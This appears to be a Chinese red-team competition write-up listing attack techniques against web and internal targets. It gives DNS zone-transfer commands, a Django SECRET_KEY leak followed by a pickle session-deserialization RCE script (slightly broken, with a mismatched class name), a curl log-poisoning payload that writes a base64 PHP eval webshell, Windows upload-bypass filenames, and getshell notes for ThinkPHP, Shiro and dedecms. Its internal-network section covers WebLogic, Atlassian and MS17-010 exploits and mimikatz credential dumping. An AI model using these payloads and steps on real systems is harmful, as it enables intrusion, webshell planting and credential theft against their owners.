0x02 比赛分享

外网:

1
2
3
4
5
6
DNS域传送  发现目标
dig axfr @server_ip query_domain

nslookup
>server server_ip
>ls query_domain

Windows 非交互式

1
echo ls domain |nslookup - server

1、PHP 反序列化字符串逃逸

1
2
3
4
5
6
任意文件读取 file:///proc/self/cwd 为进程当前工作目录
如Web应用为运行的当前脚本目录
通过该方式可以任意读取文件

反序列化字符串逃逸 可参考去年的Joomla 3.4.0-3.4.6 由于解析字符串单双引号对\0的处理差异 导致字符串逃逸
通过中间处理过程对序列化内容过滤或者格式化引起字符的增加和减少

2、Django RCE

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
格式化字符串漏洞{}      通过'{}'.format(param)    param输入为{} 内接django变量名可以读取变量值
通过{user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY} 读取secretkey
由于版本低于1.6 可以通过session反序列化RCE
# coding: utf-8
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
from django.conf import settings

settings.configure(SECRET_KEY='xxxxxxxxxxxxxxxxxxx')


class Run(object):
def __reduce__(self):
import os
return (os.system,('xxxxxx',))

sess = signing.dumps(
obj=GetShellWithPython(),
serializer=PickleSerializer,
salt='django.contrib.sessions.backends.signed_cookies'
)
import urllib2
import cookielib

url = 'http://url'
headers = {'Cookie':'sessionid="%s"' %(sess)}
request = urllib2.Request(url,headers = headers)


搭建目标对应版本django
django startserver hello
cd hello/hello
在django上下文环境执行该脚本实现RCE

也可以自行通过Curl发送Cookie
curl url --cookie "sessionid=cookie"

3、PHP CMS Monstra

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 3.04 后台进入可上传php7绕过黑名单过滤    漏洞原因为可能发行时未考虑php7兼容性
而在某些版本的系统下 全局配置中 有添加针对php7解析的内容

/etc/mime.types
/etc/apache2/mods-enabled/php7.0.conf
/etc/apache2/apache2.conf
/etc/httpd/conf/httpd.conf
参考 https://xz.aliyun.com/t/7850

http://xxxxxxx/storage/database/users.table.xml 泄露敏感信息--用户账号及加密后hash
加密算法在 engine/security.php 加上盐值一般未修改 可进行枚举
define('MONSTRA_PASSWORD_SALT', 'YOUR_SALT_HERE');
md5(md5(trim($password) . MONSTRA_PASSWORD_SALT));

这边的做法是后台验证码 任意文件包含 通过包含日志文件getshell
因为日志太多不建议直接写shell 通过访问存在路径作为参数写入
curl -v "http://url/index.php?<?php file_put_contents('/var/www/html/plugins/captcha/crypt/cryptogr4php.php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydjb3JuJ10pOz8+'))?>"
会提示400 但是能够写入到access_log下
利用包含生成shell Burp直接发送+会被记录成完整的+号 随后才会被中间件解析成空格

4、IIS 8.5 +PHP 上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
php cgi.fix_pathinfo   配置漏洞   访问 xxx.jpg/.php 实现解析

上传Windows NTF 文件绕过后缀黑名单
xxxxx::$INDEX_ALLOCATION 可创建 xxxx 文件夹 配合 IIS6.0目录解析漏洞使用
test.php:a.jpg 创建文件为test.php 内容为空 结合 windows 特殊通配符>>> 和??? 对文件内容写入
test.php::$DATA\1.jpg 创建1.jpg 结合解析漏洞使用

Windows格式化文件名绕过黑名单
test.php.
test.php空格
test.php%0a
test.php_

https://xz.aliyun.com/t/2539


上传后通过Windows 短文件名 结合时间戳爆破shell
https://github.com/lijiejie/IIS_shortname_Scanner.git

5、ThinkPHP5

1
2
3
字段缓存漏洞  通过注入点多语句执行,新建表并修改字段名称,写入到xxxx.php中getshell
TP通过数组提交可绕过过滤
https://www.freebuf.com/articles/web/153286.html

6.OA

shiro 721 反序列化 爆破key

8.dedecms

后台弱口令 后台编辑模板 getshell

内网

1
2
3
4
5
6
7
8
9
10
Weblogic  2019-2725
Atlassian CVE-2019-11580 rce https://github.com/jas502n/CVE-2019-11580

ms17_010
msf win8版本可打2012 某些版本

net sessions 查看远程连接记录(被连)

cmdkey /list
sekurlsa::ssp 获取远程连接凭证